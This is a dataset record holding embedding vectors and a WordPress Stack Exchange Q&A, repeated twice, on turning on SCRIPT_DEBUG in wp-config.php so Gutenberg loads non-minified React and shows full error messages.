{ "language": "en", "length": 98, "provenance": "stackexchange_00019.jsonl.gz:486053", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/303125" }
[ 0.0214385986328125, -0.03033447265625, 0.0020275115966796875, -0.0240631103515625, -0.0208740234375, -0.01398468017578125, 0.0221710205078125, 0.00218963623046875, 0.0008358955383300781, 0.01708984375, -0.02020263671875, -0.0020599365234375, 0.0214996337890625, -0.0211334228515625, 0.0087738037109375, -0.01544189453125, 0.035736083984375, -0.02740478515625, 0.0208740234375, 0.006343841552734375, 0.0147857666015625, 0.0255279541015625, 0.007038116455078125, 0.01151275634765625, 0.0234375, -0.0184478759765625, 0.03607177734375, -0.0153656005859375, 0.017333984375, -0.005580902099609375, 0.0265655517578125, 0.004669189453125, 0.042266845703125, -0.03826904296875, 0.0192718505859375, -0.0212554931640625, 0.0043792724609375, -0.019683837890625, -0.017669677734375, 0.0107421875, -0.0012655258178710938, 0.0020599365234375, 0.01543426513671875, 0.010589599609375, -0.0153350830078125, -0.01436614990234375, -0.0026378631591796875, -0.04364013671875, 0.01049041748046875, -0.00994873046875, -0.012237548828125, -0.023590087890625, -0.0021457672119140625, 0.0103912353515625, -0.022125244140625, -0.024749755859375, -0.017578125, 0.0029354095458984375, 0.01470947265625, 0.0212249755859375, -0.00846099853515625, -0.0038318634033203125, 0.003032684326171875, -0.01194000244140625, 0.00168609619140625, -0.022918701171875, 0.030487060546875, 0.0352783203125, -0.0148773193359375, -0.016143798828125, 0.006351470947265625, -0.0007138252258300781, 0.0089111328125, -0.068603515625, 0.007678985595703125, 0.06982421875, -0.00763702392578125, 0.0167388916015625, -0.0197601318359375, -0.0102386474609375, 0.013519287109375, -0.005481719970703125, 0.004650115966796875, -0.04119873046875, -0.0103912353515625, -0.03936767578125, -0.008758544921875, 0.0099945068359375, -0.007694244384765625, -0.00742340087890625, -0.0228729248046875, -0.00963592529296875, 0.016632080078125, -0.00489044189453125, -0.049896240234375, 0.003032684326171875, 0.00946044921875, 0.045745849609375, -0.0253143310546875, 0.006221771240234375, -0.00687408447265625, -0.0164794921875, 0.021026611328125, -0.03662109375, 0.011260986328125, 0.045867919921875, -0.0164794921875, -0.012451171875, 0.024322509765625, 0.017486572265625, 0.0010318756103515625, -0.044158935546875, -0.00380706787109375, -0.04571533203125, -0.01531982421875, 0.03094482421875, -0.0038127899169921875, -0.0155792236328125, 0.02117919921875, -0.04193115234375, 0.0039825439453125, 0.0022029876708984375, 0.046905517578125, -0.035980224609375, -0.0187835693359375, -0.038360595703125, -0.0469970703125, -0.020843505859375, -0.0787353515625, 0.08148193359375, -0.006198883056640625, -0.0167999267578125, 0.01666259765625, 0.045013427734375, -0.035247802734375, -0.0321044921875, -0.0239715576171875, -0.0439453125, -0.03253173828125, 0.0161590576171875, -0.020599365234375, -0.024200439453125, 0.0218048095703125, -0.02825927734375, -0.0260162353515625, 0.0316162109375, 0.006008148193359375, 0.007175445556640625, -0.0082244873046875, -0.031097412109375, -0.05072021484375, -0.002918243408203125, 0.012786865234375, 0.01708984375, 0.0279388427734375, -0.03436279296875, 0.0213165283203125, -0.0254058837890625, 0.0167999267578125, -0.0177764892578125, 0.004726409912109375, 0.00499725341796875, 0.0198211669921875, -0.0261383056640625, -0.03668212890625, -0.0006756782531738281, -0.0196685791015625, -0.0012521743774414062, 0.0200958251953125, 0.0533447265625, -0.01245880126953125, -0.034332275390625, -0.01132965087890625, -0.003299713134765625, -0.010345458984375, 0.01062774658203125, 0.0003330707550048828, -0.0238494873046875, 0.00540924072265625, 0.059112548828125, 0.0159149169921875, -0.019134521484375, -0.025390625, 0.01593017578125, -0.0231475830078125, 0.01198577880859375, 0.027923583984375, 0.0628662109375, 0.0035343170166015625, 0.0261688232421875, 0.01409149169921875, -0.0108795166015625, -0.07501220703125, 0.044036865234375, 0.0173187255859375, 0.0109710693359375, -0.03277587890625, 0.00579833984375, 0.0035610198974609375, -0.0225982666015625, -0.043182373046875, 0.0096435546875, 0.015350341796875, 0.02032470703125, -0.01554107666015625, 0.0251922607421875, -0.0263671875, 0.034759521484375, -0.020660400390625, -0.002285003662109375, 0.012054443359375, -0.031036376953125, 0.0182647705078125, -0.0394287109375, -0.035491943359375, -0.01076507568359375, -0.01161956787109375, 0.00018393993377685547, 0.00853729248046875, 0.002933502197265625, -0.0014104843139648438, -0.016998291015625, -0.03839111328125, -0.01474761962890625, 0.0195770263671875, 0.0252685546875, -0.036346435546875, 0.01378631591796875, 0.004894256591796875, 0.0226898193359375, -0.01338958740234375, 0.048980712890625, -0.015350341796875, 0.0030841827392578125, -0.0229949951171875, -0.020477294921875, -0.051177978515625, -0.069580078125, 0.01012420654296875, 0.046142578125, 0.0176239013671875, 0.033905029296875, 0.01221466064453125, 0.084228515625, 0.052520751953125, 0.0084381103515625, 0.01175689697265625, 0.040618896484375, 0.06549072265625, 0.08428955078125, -0.0258026123046875, -0.02947998046875, 0.0096588134765625, -0.0517578125, 0.0192413330078125, 0.0142822265625, -0.060272216796875, -0.0098419189453125, 0.03961181640625, -0.004825592041015625, -0.00888824462890625, 0.03082275390625, 0.05938720703125, -0.01078033447265625, 0.073486328125, 0.032867431640625, 0.08453369140625, 0.061614990234375, -0.0325927734375, 0.008575439453125, -0.0011320114135742188, 0.01551055908203125, 0.002902984619140625, -0.01371002197265625, -0.00514984130859375, 0.04144287109375, -0.01849365234375, -0.000865936279296875, 0.01502227783203125, 0.00812530517578125, -0.01409149169921875, 0.00444793701171875, -0.07159423828125, -0.007419586181640625, -0.025146484375, -0.10211181640625, -0.01195526123046875, 0.045196533203125, 0.0222625732421875, 0.01407623291015625, 0.01442718505859375, 0.055450439453125, 0.0007176399230957031, 0.050750732421875, -0.004199981689453125, -0.00678253173828125, 0.044586181640625, -0.0031642913818359375, 0.0074462890625, -0.01152801513671875, 0.0157012939453125, 0.050048828125, -0.0161895751953125, 0.0169677734375, -0.0050201416015625, 0.02484130859375, 0.00955963134765625, 0.003170013427734375, -0.0082855224609375, -0.04608154296875, 0.016387939453125, -0.0013484954833984375, 0.011566162109375, 0.00769805908203125, -0.0202789306640625, -0.02276611328125, -0.0158538818359375, -0.0009179115295410156, -0.0782470703125, -0.06964111328125, 0.0204620361328125, -0.005218505859375, 0.00214385986328125, -0.052764892578125, 0.0009741783142089844, -0.0032138824462890625, -0.062744140625, 0.0017194747924804688, -0.0034389495849609375, -0.04669189453125, -0.030914306640625, -0.053680419921875, -0.049530029296875, -0.0535888671875, 0.0049285888671875, -0.01163482666015625, -0.0087738037109375, 0.08282470703125, -0.01190185546875, -0.07373046875, -0.0272674560546875, -0.0347900390625, -0.012725830078125, 0.0177764892578125, 0.04339599609375, -0.045989990234375, 0.01186370849609375, 0.0087890625, -0.018646240234375, 0.0316162109375, -0.0228729248046875, -0.011810302734375, -0.0139617919921875, -0.02532958984375, -0.0119476318359375, 0.019561767578125, 0.023345947265625, -0.0269012451171875, 0.00927734375, -0.055084228515625, -0.0335693359375, 0.0003275871276855469, -0.034271240234375, 0.06524658203125, 0.023834228515625, 0.000354766845703125, 0.00016188621520996094, 0.050048828125, 0.0228271484375, 0.0236053466796875, 0.00872802734375, -0.0174407958984375, 0.0061492919921875, 0.01407623291015625, 0.0179901123046875, -0.0213165283203125, 0.0298004150390625, -0.0279083251953125, 0.051116943359375, 0.025787353515625, 0.0131683349609375, 0.03131103515625, -0.02337646484375, -0.01242828369140625, -0.08721923828125, 0.051055908203125, -0.004978179931640625, 0.0242462158203125, -0.049896240234375, -0.04364013671875, -0.007266998291015625, 0.1129150390625, -0.0078125, 0.0018033981323242188, 0.00862884521484375, -0.02435302734375, -0.02197265625, 0.0095062255859375, -0.06884765625, 0.0152435302734375, -0.050201416015625, -0.0015745162963867188, -0.00827789306640625, -0.032745361328125, -0.0173492431640625, 0.017822265625, -0.049346923828125, -0.031524658203125, 0.025421142578125, -0.0248870849609375, 0.048004150390625, 0.0204315185546875, 0.0654296875, -0.023590087890625, 0.00659942626953125, -0.048370361328125, -0.051177978515625, -0.00018262863159179688, -0.0506591796875, 0.02783203125, 0.04180908203125, -0.0291900634765625, -0.01074981689453125, 0.0169219970703125, 0.01100921630859375, 0.017486572265625, 0.00032258033752441406, -0.0020961761474609375, -0.004398345947265625, -0.025421142578125, 0.00989532470703125, -0.04412841796875, -0.00579071044921875, -0.01099395751953125, -0.00858306884765625, 0.031463623046875, -0.00820159912109375, -0.0009579658508300781, 0.01404571533203125, -0.0163726806640625, -0.045684814453125, -0.01035308837890625, 0.0282745361328125, 0.0281829833984375, 0.0002884864807128906, 0.007061004638671875, -0.0220947265625, -0.04156494140625, 0.05218505859375, 0.014617919921875, -0.0046539306640625, 0.009552001953125, 0.08258056640625, 0.0210113525390625, -0.0316162109375, -0.081787109375, 0.004268646240234375, 0.054229736328125, 0.0305938720703125, 0.031524658203125, 0.05950927734375, -0.0226287841796875, 0.00435638427734375, 0.051483154296875, -0.0038394927978515625, -0.0615234375, 0.11932373046875, -0.00913238525390625, 0.03387451171875, 0.00446319580078125, -0.051971435546875, 0.006221771240234375, 0.040069580078125, -0.012420654296875, -0.0171356201171875, -0.0058135986328125, 0.029205322265625, -0.0224151611328125, -0.002445220947265625, -0.038177490234375, -0.0465087890625, 0.0147857666015625, -0.0128936767578125, 0.04150390625, 0.004604339599609375, 0.004863739013671875, 0.04498291015625, 0.02606201171875, 0.0196380615234375, 0.0216522216796875, -0.00823974609375, 0.01519012451171875, 0.040283203125, 0.039306640625, 0.03289794921875, 0.0020351409912109375, 0.0217437744140625, -0.0241546630859375, -0.01078033447265625, -0.0274200439453125, -0.05462646484375, 0.026702880859375, -0.003833770751953125, 0.0105438232421875, 0.00537872314453125, 0.03057861328125, 0.02203369140625, -0.0006122589111328125, 0.005199432373046875, -0.0185089111328125, 0.0225067138671875, -0.03515625, -0.0131072998046875, 0.01441192626953125, -0.0222930908203125, 0.0099029541015625, 0.036346435546875, 0.005931854248046875, -0.004985809326171875, -0.01531219482421875, 0.049407958984375, 0.057464599609375, -0.0008783340454101562, 0.00876617431640625, 0.02313232421875, -0.00734710693359375, -0.025482177734375, -0.01288604736328125, -0.03326416015625, -0.0168914794921875, -0.0222015380859375, 0.0465087890625, -0.0311737060546875, -0.011688232421875, 0.048126220703125, -0.02874755859375, 0.031341552734375, 0.01214599609375, -0.020263671875, -0.06341552734375, 0.01467132568359375, 0.0222930908203125, 0.003940582275390625, -0.07147216796875, -0.002368927001953125, -0.00920867919921875, -0.03619384765625, 0.01039886474609375, -0.004100799560546875, -0.021331787109375, -0.016265869140625, -0.025421142578125, -0.0037670135498046875, 0.044769287109375, 0.0008487701416015625, -0.0389404296875, -0.07806396484375, 0.00981903076171875, 0.0027561187744140625, 0.038421630859375, -0.0264129638671875, 0.0200958251953125, 0.0218658447265625, -0.023345947265625, 0.0022716522216796875, 0.035552978515625, 0.0072174072265625, -0.0231781005859375, -0.0430908203125, -0.015167236328125, -0.0200347900390625, -0.02081298828125, 0.00506591796875, -0.044281005859375, -0.0301971435546875, -0.015716552734375, -0.041107177734375, 0.00400543212890625, -0.014007568359375, 0.035797119140625, -0.0185546875, 0.039764404296875, -0.00759124755859375, 0.0660400390625, 0.001491546630859375, 0.08416748046875, -0.03314208984375, 0.07891845703125, 0.01435089111328125, 0.038543701171875, -0.046295166015625, -0.0183258056640625, -0.0102081298828125, -0.0330810546875, -0.0138702392578125, -0.0147552490234375, 0.0169525146484375, 0.057647705078125, 0.05780029296875, 0.012451171875, 0.0244140625, -0.0225372314453125, 0.0027370452880859375, -0.004390716552734375, 0.01059722900390625, -0.006565093994140625, -0.0159454345703125, 0.0489501953125, -0.01445770263671875, 0.020233154296875, 0.01497650146484375, 0.01035308837890625, -0.0020771026611328125, -0.0292205810546875, 0.00012731552124023438, 0.0244903564453125, -0.060455322265625, 0.05694580078125, 0.0419921875, 0.0296783447265625, 0.04736328125, -0.00740814208984375, 0.03131103515625, -0.01531219482421875, 0.03802490234375, -0.05224609375, -0.03228759765625, 0.018035888671875, 0.00832366943359375, -0.0214691162109375, 0.02227783203125, -0.01030731201171875, 0.015411376953125, 0.0382080078125, 0.05084228515625, -0.06005859375, 0.0165252685546875, 0.01482391357421875, -0.0129241943359375, -0.0006575584411621094, 0.011688232421875, -0.0260467529296875, -0.043548583984375, 0.01009368896484375, 0.016021728515625, 0.0011157989501953125, 0.00542449951171875, 0.032958984375, -0.025970458984375, -0.0011205673217773438, 0.046905517578125, -0.007434844970703125, 0.019866943359375, -0.055877685546875, -0.01094818115234375, -0.0298004150390625, -0.0252532958984375, 0.05682373046875, -0.0167236328125, 0.0352783203125, 0.0015316009521484375, 0.0645751953125, -0.0202178955078125, 0.01116943359375, 0.0007228851318359375, 0.04620361328125, 0.0555419921875, 0.0445556640625, 0.01290130615234375, -0.006160736083984375, 0.015960693359375, 0.051727294921875, -0.020233154296875, -0.032684326171875, -0.004878997802734375, 0.0269622802734375, -0.03680419921875, 0.0242767333984375, -0.0102081298828125, -0.014617919921875, -0.0158538818359375, -0.0069732666015625, 0.07476806640625, -0.05548095703125, -0.0134124755859375, 0.017608642578125, 0.00916290283203125, -0.00011444091796875, -0.00354766845703125, -0.0048065185546875, -0.0209808349609375, 0.01849365234375, -0.01399993896484375, -0.01027679443359375, -0.0006327629089355469, -0.00418853759765625, -0.06817626953125, 0.07159423828125, 0.03253173828125, 0.0110321044921875, -0.025787353515625, 0.037322998046875, -0.020904541015625, 0.01311492919921875, -0.032806396484375, 0.0386962890625, 0.007740020751953125, 0.07220458984375, -0.03240966796875, -0.01056671142578125, 0.0245361328125, 0.03179931640625, 0.080078125, 0.010284423828125, -0.0024547576904296875, 0.001026153564453125, 0.054718017578125, 0.02685546875, -0.0131683349609375, 0.0126190185546875, -0.0050811767578125, 0.043670654296875, 0.01824951171875, -0.037322998046875, 0.0176544189453125, -0.0164337158203125, -0.034332275390625, 0.01070404052734375, -0.01275634765625, -0.00824737548828125, -0.03955078125, -0.0292816162109375, 0.0016832351684570312, -0.0295562744140625, -0.004268646240234375, -0.05694580078125, -0.00763702392578125, 0.02490234375, 0.048614501953125, -0.0787353515625, -0.069091796875, -0.0260009765625, 0.04119873046875, 0.0262603759765625, 0.019500732421875, -0.0209197998046875, 0.00849151611328125, 0.00400543212890625, -0.0241241455078125, -0.0033283233642578125, 0.03924560546875, -0.029510498046875, 0.07257080078125, 0.023529052734375, -0.0002562999725341797, -0.017822265625, 0.087646484375, 0.0223388671875, 0.06060791015625, -0.08837890625, 0.0157928466796875, 0.0113677978515625, 0.0234527587890625, -0.0261383056640625, -0.0254669189453125, -0.006832122802734375, 0.0254974365234375, 0.038970947265625, -0.031829833984375, -0.0188446044921875, 0.025146484375, -0.0033130645751953125, -0.0254974365234375, -0.0278778076171875, 0.026611328125, 0.00284576416015625, -0.016021728515625, 0.01763916015625, 0.005706787109375, 0.002475738525390625, 0.0130767822265625, 0.03851318359375, 0.0254669189453125, 0.01039886474609375, -0.04376220703125, 0.00983428955078125, -0.021881103515625, 0.0697021484375, -0.07452392578125, -0.036529541015625, 0.023101806640625, 0.0594482421875, 0.00464630126953125, 0.043121337890625, 0.0304412841796875, -0.00536346435546875, -0.026092529296875, -0.002521514892578125, 0.004253387451171875, -0.046112060546875, 0.07220458984375, -0.040435791015625, 0.050384521484375, -0.00635528564453125, -0.01617431640625, -0.037445068359375, 0.0089874267578125, 0.0555419921875, -0.0200347900390625, 0.0206756591796875, 0.0100860595703125, -0.0005245208740234375, 0.051971435546875, 0.0044708251953125, 0.0034236907958984375, 0.0215301513671875, -0.037017822265625, 0.002490997314453125, -0.02740478515625, -0.0445556640625, 0.0017976760864257812, 0.0372314453125, -0.0089874267578125, 0.00494384765625, -0.005229949951171875, 0.0022869110107421875, -0.0245361328125, 0.000011324882507324219, 0.02899169921875, 0.0458984375, 0.0233612060546875, 0.029052734375, -0.04119873046875, -0.0113677978515625, -0.00632476806640625, 0.018585205078125, 0.01171112060546875, 0.0546875, -0.00713348388671875, 0.0178680419921875, -0.0020351409912109375, 0.036865234375, -0.005832672119140625, 0.0010423660278320312, 0.034759521484375, 0.047149658203125, 0.0287628173828125, -0.0284271240234375, -0.0024280548095703125, 0.01064300537109375, 0.049652099609375, -0.0176544189453125, 0.005397796630859375, -0.00826263427734375, 0.014892578125, -0.027191162109375, -0.006801605224609375, -0.0186614990234375, -0.01529693603515625, -0.025848388671875, -0.0257720947265625, 0.035430908203125, 0.0304412841796875, 0.035675048828125, 0.032989501953125, -0.006717681884765625, -0.0105133056640625, 0.04058837890625, -0.0308074951171875, 0.0723876953125, 0.048095703125, -0.07574462890625, -0.0114593505859375, 0.025909423828125, -0.01220703125, 0.007282257080078125, 0.00829315185546875, 0.0249786376953125, 0.0367431640625, -0.059844970703125, 0.0302886962890625, 0.0036163330078125, 0.043212890625, -0.0171661376953125, -0.00238800048828125, -0.0232391357421875, 0.003612518310546875, 0.045867919921875, 0.017913818359375, -0.0125732421875, -0.01947021484375, -0.0196380615234375, 0.0292510986328125, -0.02557373046875, 0.002506256103515625, -0.046722412109375, -0.01401519775390625, 0.036285400390625, 0.00988006591796875, -0.0260772705078125, -0.00591278076171875, -0.017547607421875, 0.0168304443359375, 0.0220947265625, -0.0171051025390625, 0.0097198486328125, 0.033355712890625, 0.01861572265625, 0.0005631446838378906, -0.01166534423828125, 0.0219879150390625, 0.0288238525390625, 0.011962890625, 0.026580810546875, 0.00659942626953125, -0.019317626953125, 0.03448486328125, 0.008880615234375, 0.07733154296875, -0.049224853515625, -0.025787353515625, 0.0257720947265625, -0.018218994140625, 0.01287841796875, -0.056976318359375, -0.04913330078125, -0.0233001708984375, 0.03057861328125, -0.033966064453125, 0.037750244140625, 0.0328369140625, -0.03466796875, -0.1016845703125, -0.00011664628982543945, -0.02423095703125, -0.0458984375, -0.00850677490234375, 0.02081298828125, -0.01515960693359375, -0.004131317138671875, -0.0019702911376953125, -0.039642333984375, 0.0020046234130859375, 0.0190582275390625, 0.01318359375, 0.01434326171875, 0.050201416015625, 0.007465362548828125, -0.036468505859375, -0.0078887939453125, -0.04388427734375, -0.0042572021484375, 0.014892578125, -0.024871826171875, 0.0406494140625, 0.025054931640625, -0.03997802734375, 0.001499176025390625, 0.00913238525390625, 0.0053558349609375, -0.0150604248046875, -0.0138092041015625, -0.0154876708984375, 0.018829345703125, 0.058349609375, 0.061065673828125, 0.002803802490234375, -0.052703857421875, -0.0009427070617675781, -0.0447998046875, -0.052154541015625, -0.007282257080078125, 0.022979736328125, -0.058013916015625, 0.012664794921875, 0.0307769775390625, -0.023651123046875, -0.01129913330078125, 0.028961181640625, -0.038909912109375, 0.021331787109375, 0.031982421875, -0.00994873046875, -0.04962158203125, -0.018402099609375, 0.062225341796875, -0.03375244140625, 0.01861572265625, -0.006443023681640625, 0.02178955078125, 0.0399169921875, 0.0108184814453125, 0.013885498046875, 0.036529541015625, -0.059661865234375, 0.024169921875, -0.00138092041015625, 0.0186614990234375, -0.06787109375, -0.01230621337890625, 0.02001953125, 0.03411865234375, -0.032196044921875, 0.0104827880859375, 0.0025482177734375, 0.0694580078125, -0.0253448486328125, 0.07476806640625, -0.00574493408203125, -0.012237548828125, -0.0257720947265625, 0.04888916015625, -0.03228759765625, -0.006885528564453125, -0.01029205322265625, -0.00884246826171875, -0.0013065338134765625, -0.01507568359375, -0.0277252197265625, -0.036773681640625, -0.006114959716796875, -0.05267333984375, -0.035491943359375, 0.02008056640625 ]
0bfd925be1d832b5a965843a54a4af8a88246181
Wordpress Stackexchange Q: Running Gutenberg React in Development Mode Is there a way to enable WordPress to run the non-minified version of React while developing Gutenberg blocks? I am receiving an error from React while learning to create Gutenberg blocks. react-dom.min.b75d8b30.js:62 Error: Minified React error #130; visit http://facebook.github.io/react/docs/error-decoder.html?invariant=130&args[]=undefined&args[]= for the full message or use the non-minified dev environment for full errors and additional helpful warnings. It would be very helpful to get the full error. I am using the Gutenberg suggested abstraction, wp.element.createElement in order to create the elements. So my plugin has no direct access to React. A: It took me way too long to find this but all you have to do is set SCRIPT_DEBUG to true. Simply add this line to wp-config.php: define('SCRIPT_DEBUG', true);
Q: Running Gutenberg React in Development Mode Is there a way to enable WordPress to run the non-minified version of React while developing Gutenberg blocks? I am receiving an error from React while learning to create Gutenberg blocks. react-dom.min.b75d8b30.js:62 Error: Minified React error #130; visit http://facebook.github.io/react/docs/error-decoder.html?invariant=130&args[]=undefined&args[]= for the full message or use the non-minified dev environment for full errors and additional helpful warnings. It would be very helpful to get the full error. I am using the Gutenberg suggested abstraction, wp.element.createElement in order to create the elements. So my plugin has no direct access to React. A: It took me way too long to find this but all you have to do is set SCRIPT_DEBUG to true. Simply add this line to wp-config.php: define('SCRIPT_DEBUG', true);
wordpress
{ "language": "en", "length": 125, "provenance": "stackexchange_00019.jsonl.gz:486090", "question_score": "13", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/303237" }
[ -0.041900634765625, -0.0136260986328125, -0.056640625, -0.00616455078125, -0.0218353271484375, -0.01412200927734375, -0.0169219970703125, 0.0220184326171875, -0.0005335807800292969, -0.002765655517578125, -0.0033588409423828125, 0.01296234130859375, -0.04962158203125, -0.031494140625, -0.00432586669921875, -0.037261962890625, 0.026092529296875, -0.00797271728515625, 0.016082763671875, -0.00467681884765625, -0.0265960693359375, 0.018768310546875, -0.0036468505859375, 0.0303192138671875, 0.01012420654296875, -0.0706787109375, 0.0643310546875, -0.013336181640625, 0.025482177734375, -0.0234375, 0.02764892578125, 0.0253753662109375, 0.01493072509765625, 0.01522064208984375, -0.033477783203125, -0.022796630859375, 0.0261077880859375, -0.0109710693359375, -0.0196533203125, 0.031280517578125, 0.03460693359375, -0.033905029296875, -0.0143890380859375, -0.010040283203125, -0.0228424072265625, -0.0034770965576171875, 0.0084228515625, -0.0193634033203125, 0.019012451171875, 0.01387786865234375, -0.002437591552734375, 0.0233306884765625, -0.0032291412353515625, -0.025848388671875, -0.002384185791015625, -0.019775390625, -0.05499267578125, 0.045379638671875, 0.0009608268737792969, 0.0496826171875, 0.0166473388671875, 0.057464599609375, -0.02484130859375, -0.016387939453125, 0.0229034423828125, -0.0227813720703125, -0.034637451171875, 0.0287322998046875, 0.046966552734375, 0.053955078125, 0.006237030029296875, -0.01163482666015625, 0.009918212890625, -0.014923095703125, -0.01068115234375, -0.00691986083984375, 0.0038547515869140625, 0.0013780593872070312, 0.027099609375, -0.010986328125, 0.041259765625, -0.01275634765625, -0.0083160400390625, 0.01056671142578125, -0.0191650390625, 0.0092620849609375, -0.0010986328125, -0.012847900390625, -0.00882720947265625, -0.00119781494140625, -0.01898193359375, -0.04864501953125, -0.0308837890625, 0.06707763671875, 0.00823974609375, 0.00782012939453125, 0.005218505859375, -0.0235595703125, -0.004245758056640625, -0.00787353515625, 0.01448822021484375, -0.054168701171875, 0.04852294921875, -0.01056671142578125, 0.01525115966796875, 0.07025146484375, -0.034698486328125, 0.03662109375, 0.036834716796875, 0.01264190673828125, 0.026336669921875, -0.045684814453125, -0.038482666015625, -0.0187225341796875, 0.00974273681640625, 0.03179931640625, -0.054534912109375, 0.05218505859375, -0.003482818603515625, 0.04931640625, 0.00026607513427734375, 0.01259613037109375, 0.028472900390625, 0.039398193359375, 0.00012195110321044922, 0.03692626953125, -0.01180267333984375, -0.04217529296875, 0.04461669921875, -0.03790283203125, -0.032440185546875, 0.034393310546875, 0.045654296875, 0.0267791748046875, 0.0217742919921875, -0.00019550323486328125, 0.0557861328125, 0.03656005859375, 0.00542449951171875, -0.005115509033203125, 0.0059814453125, -0.019012451171875, -0.0248870849609375, -0.00039196014404296875, 0.017578125, 0.01678466796875, 0.00864410400390625, 0.0059967041015625, 0.01450347900390625, -0.022552490234375, 0.002368927001953125, -0.0108795166015625, 0.0325927734375, 0.01715087890625, 0.0156402587890625, -0.038482666015625, 0.060028076171875, -0.04571533203125, 0.0054168701171875, -0.056610107421875, -0.003299713134765625, -0.002368927001953125, 0.01541900634765625, 0.00394439697265625, -0.016998291015625, 0.0112762451171875, -0.0143585205078125, -0.00612640380859375, 0.0167083740234375, 0.01971435546875, 0.02557373046875, -0.04473876953125, -0.0325927734375, -0.037750244140625, -0.030364990234375, -0.0082855224609375, -0.04052734375, -0.035308837890625, 0.037322998046875, -0.0286102294921875, -0.0250701904296875, -0.0147247314453125, -0.00232696533203125, 0.027679443359375, -0.037628173828125, 0.011566162109375, -0.0106353759765625, 0.015655517578125, 0.031646728515625, -0.004878997802734375, 0.02777099609375, -0.0014667510986328125, -0.029327392578125, 0.042694091796875, -0.0203704833984375, -0.07574462890625, 0.0029144287109375, -0.02093505859375, -0.0095977783203125, 0.01507568359375, 0.0159149169921875, 0.0108489990234375, 0.00859832763671875, -0.00455474853515625, -0.0027256011962890625, 0.0115814208984375, -0.01064300537109375, 0.0198211669921875, -0.005413055419921875, 0.0223846435546875, 0.007720947265625, -0.004772186279296875, -0.0283203125, 0.0097198486328125, 0.00713348388671875, 0.024810791015625, 0.0021228790283203125, 0.03662109375, -0.0012607574462890625, 0.017791748046875, 0.02593994140625, -0.034149169921875, 0.0190887451171875, 0.0190582275390625, 0.0660400390625, 0.01351165771484375, -0.00873565673828125, -0.01031494140625, 0.0633544921875, 0.058441162109375, -0.0814208984375, -0.01268768310546875, -0.03717041015625, -0.00045680999755859375, 0.005298614501953125, 0.0018777847290039062, 0.032928466796875, -0.050537109375, 0.041473388671875, 0.0232086181640625, 0.0418701171875, -0.0058746337890625, -0.0255126953125, -0.055572509765625, 0.08056640625, 0.02001953125, 0.0222015380859375, -0.044921875, -0.01326751708984375, 0.0192718505859375, -0.0206451416015625, 0.036773681640625, 0.0222625732421875, 0.017425537109375, 0.0272674560546875, 0.02618408203125, -0.00957489013671875, -0.0006775856018066406, 0.0100555419921875, -0.0209808349609375, 0.01129150390625, -0.027862548828125, -0.034332275390625, -0.00040268898010253906, 0.08428955078125, -0.0237884521484375, 0.047210693359375, 0.01334381103515625, -0.0147857666015625, 0.0260162353515625, 0.007415771484375, -0.06781005859375, 0.0185089111328125, 0.0423583984375, 0.01165771484375, 0.0860595703125, -0.047698974609375, -0.01043701171875, 0.050445556640625, 0.05712890625, -0.02545166015625, 0.006481170654296875, -0.02911376953125, -0.00562286376953125, -0.017486572265625, -0.02606201171875, 0.0269012451171875, 0.0137939453125, -0.0008826255798339844, -0.0251312255859375, 0.034576416015625, -0.04473876953125, -0.0178985595703125, -0.0156707763671875, 0.03271484375, -0.0570068359375, 0.1112060546875, -0.0443115234375, 0.02734375, -0.021484375, 0.10003662109375, 0.05474853515625, -0.0556640625, 0.040740966796875, -0.004302978515625, -0.03753662109375, 0.0243072509765625, -0.0036258697509765625, -0.027557373046875, -0.037750244140625, -0.05072021484375, -0.019866943359375, 0.03717041015625, -0.0033397674560546875, 0.05523681640625, 0.0023441314697265625, 0.0078582763671875, 0.022491455078125, -0.052825927734375, -0.0711669921875, -0.052825927734375, -0.06182861328125, -0.0059814453125, -0.005878448486328125, -0.0306549072265625, 0.020599365234375, 0.0017147064208984375, 0.02777099609375, -0.037872314453125, -0.05584716796875, -0.05517578125, -0.08905029296875, -0.06256103515625, -0.006748199462890625, -0.002277374267578125, 0.0099639892578125, 0.01128387451171875, 0.026824951171875, 0.0172271728515625, 0.006694793701171875, 0.02105712890625, -0.0210723876953125, -0.027496337890625, -0.035369873046875, 0.029510498046875, -0.049713134765625, -0.012786865234375, -0.00004369020462036133, -0.029510498046875, 0.0030536651611328125, 0.0144805908203125, -0.0157470703125, -0.0341796875, -0.047454833984375, -0.0209808349609375, 0.0139312744140625, 0.0145111083984375, -0.0341796875, 0.004711151123046875, -0.04949951171875, -0.028900146484375, -0.0083465576171875, -0.046783447265625, -0.0062255859375, 0.032562255859375, -0.004817962646484375, -0.01568603515625, -0.014495849609375, 0.06396484375, 0.04742431640625, 0.049713134765625, 0.0426025390625, -0.0225067138671875, -0.034454345703125, -0.034271240234375, -0.0731201171875, 0.0650634765625, 0.00171661376953125, -0.031036376953125, -0.003307342529296875, 0.01523590087890625, -0.014312744140625, -0.00927734375, -0.0804443359375, 0.03936767578125, 0.015777587890625, -0.046539306640625, 0.017852783203125, -0.003864288330078125, 0.0246429443359375, -0.010498046875, 0.010406494140625, -0.01146697998046875, -0.01025390625, -0.00922393798828125, 0.002101898193359375, -0.01100921630859375, 0.005008697509765625, -0.0299530029296875, -0.019256591796875, 0.026519775390625, -0.003894805908203125, -0.02166748046875, -0.00341033935546875, 0.0102996826171875, -0.0297088623046875, 0.046173095703125, -0.02276611328125, 0.0187835693359375, -0.022216796875, 0.0155487060546875, 0.004070281982421875, 0.01502227783203125, -0.0426025390625, 0.0009899139404296875, -0.036651611328125, -0.0677490234375, -0.003879547119140625, -0.053558349609375, 0.036376953125, -0.00975799560546875, 0.04656982421875, -0.03704833984375, 0.0297698974609375, -0.007328033447265625, 0.056884765625, 0.002147674560546875, 0.006031036376953125, 0.00852203369140625, 0.021636962890625, 0.0306549072265625, -0.0181121826171875, 0.004547119140625, 0.0161895751953125, -0.0148468017578125, 0.09075927734375, -0.008636474609375, -0.001461029052734375, 0.01214599609375, -0.023406982421875, -0.017669677734375, -0.02777099609375, -0.0177001953125, -0.002063751220703125, -0.0041961669921875, -0.01377105712890625, -0.040313720703125, -0.028045654296875, 0.046630859375, 0.01314544677734375, 0.0194549560546875, -0.0181884765625, 0.0506591796875, 0.0071258544921875, -0.02520751953125, 0.0643310546875, -0.0104217529296875, 0.0134124755859375, -0.02276611328125, 0.06671142578125, 0.007106781005859375, 0.00475311279296875, 0.07855224609375, -0.0347900390625, 0.01409912109375, 0.043060302734375, -0.0247039794921875, 0.002166748046875, -0.0535888671875, 0.03973388671875, 